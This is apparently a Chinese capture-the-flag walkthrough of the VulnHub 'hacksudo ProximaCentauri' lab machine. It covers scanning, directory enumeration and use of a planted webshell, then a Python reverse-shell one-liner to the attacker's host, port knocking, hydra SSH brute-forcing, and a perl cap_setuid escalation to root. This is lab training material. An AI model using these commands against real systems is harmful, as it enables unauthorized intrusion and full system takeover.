靶机下载地址: https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/
教程链接地址: https://blog.csdn.net/qq_45434762/article/details/118663551
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 PROXIMACENTAURI:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址
sudo arp-scan -l

-> 靶机 ip:192.168.31.5
2 )确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.5

-> 靶机开放端口 80
# 网站信息收集
打开 http://192.168.31.5 进行信息收集

目录扫描: gobuster dir -x php,txt,html,zip,rar,bak,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.5

找到很多目录,暂时不知道哪个目录比较敏感,需要依次访问
查看目录: http://192.168.31.5/docs/

看到一个 php 后缀的文件,点开看看:http://192.168.31.5/docs/updata.php


查看目录:http://192.168.31.5/images/

查看目录:http://192.168.31.5/login.php

-> 得到一个后台的登陆地址,并且该 web 是有 pluck 4.7.13 写出来的
查看目录:http://192.168.31.5/files/

查看目录:http://192.168.31.5/admin.php

管理员的后台地址,会自动跳转到 login 界面
查看目录:http://192.168.31.5/robots.txt

查看目录:http://192.168.31.5/planet/

查看目录:http://192.168.31.5/files/planet/

查看目录:http://192.168.31.5/files/planet.html

查看目录:http://192.168.31.5/requirements.php

找不到更多的线索了,根据已有的进行总结,发现只有一个 pluck 4.7.13 的信息,和一个后台的登陆地址可以利用
# pluck 漏洞利用
用 searchsploit 搜索寻 pluck 对应版本漏洞,发现存在一个授权才能访问的 RCE 漏洞

确认 payload 的位置,将其复制到自己的目录下


阅读此 py 文件,根据脚本中的内容,带参数执行脚本

由于此漏洞只适应于 pluck 的授权 RCE,此处如果不能破解出来其账户和密码,显然无法使用,经尝试并不是弱口令,放弃这个目标,继续信息搜集
# dirb 扩大信息面
dirb 的优点在于搜集到一级目录后,还会继续尝试二级目录的识别
用 dirb 收集更多的字目录信息: dirb 192.168.31.5

依次去打开这些二级目录,发现了一个敏感的地址:http://192.168.31.5/data/trash/

继续向下深入,看三级目录:http://192.168.31.5/data/trash/files/shell.phar
最终在此路径下找到了一个 shell.phar 的文件,此命名就比较敏感

-> 访问此目录,是一个 webshell,现在拿到了网站权限

在网站上执行命令有诸多不便,需要将其反弹到终端上
检测到服务器没有 nc,有一个 python3 ,就用 python3 来反弹 shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.75 ",444 4 ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

设置 stty 的格式,输出为一个比较美观的终端

# 端口敲门
敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器 IP 发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务 knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。
拿到服务器的权限之后,去看了一些敏感文件,敏感权限之后都没有任何问题,筛选端口的时候发现 knock 命令

查看 knock 的配置文件

找到了一个 root 账户的端口敲门的配置问题,依次去敲击 14,29,43 端口可以将防火墙规则调整为开放,依次去敲击 62,40,46 端口可以将防火墙规则调整为关闭,注意有一个两个端口之间的间隔时间不能大于 15 ms
依次按顺序敲击这三个端口 sudo nmap -p 14,29,43 192.168.31.5

敲击端口前,是 22 是被过滤的,端口敲门之后并没有立即将端口轰开,反而是等待了一段时间之后才将 22 端口打开,现在 22 已经打开,可以通过 ssh 去连接这台服务器了,但是我们并没有 root 账户的密码,怎么去连接呢。
先直接去做,看能不能有什么收获 ssh root@192.168.31.5

# hydra 爆破 ssh
看到了一个 github 地址,点开进入

发现是一系列密码并且提示用 proxima、centauri 进行爆破,将字典加载到本地,准备用 hydra 爆破一波

查看到服务器上存在的用户

服务器存在 proxima、centauri 用户,将这两个名字写到 user.txt 中,用 hydra 进行爆破

hydra -L user.txt -P passwd.txt ssh://192.168.31.5 -t 4 -I -vV -o hydra.ssh

很遗憾,爆破失败,继续往下做,在实际测试中,经常有爆破失败的情况,我们需要从更多的角度去收集服务器的信息,经过检查,发现服务器上存在 mysql 的备份文件

-> 备份文件中就有用户名和密码,alfauser:passw0rd
# 数据库信息泄露
登陆数据库,查询敏感账户和密码: mysql -u alfauser -p

连接成功,搜索敏感文件

一翻搜索后,在数据库中找到了 proxima 账户和其密码,切换账户至 proxima 账户,成功拿到其 shell

# cap_setuid 提权
接下来要想办法提权至 root,直接上监控 linpeas 看有什么可疑的文件
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

运行 linpeas 进行检测

使用 linpeas 之后监测到一个权限设置错误的命令 perl
Capabilities 是 linux 的一种访问控制能力,能够更精细化的将操作系统权限(网络,文件等)赋权给应用程序,其中就包括设置 uid 和 gid 的权限。因此具备 cap_setuid 和 cap_setgid 权限的程序可以用来进行权限提升。
提权利用命令在 gtfobins 上可以找到更多:https://gtfobins.github.io/gtfobins/perl/

看官方介绍,也就是为了细分 root 权限的 capabilities,但是也会因为设置错误导致权限提升
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

-> 成功拿到 root 权限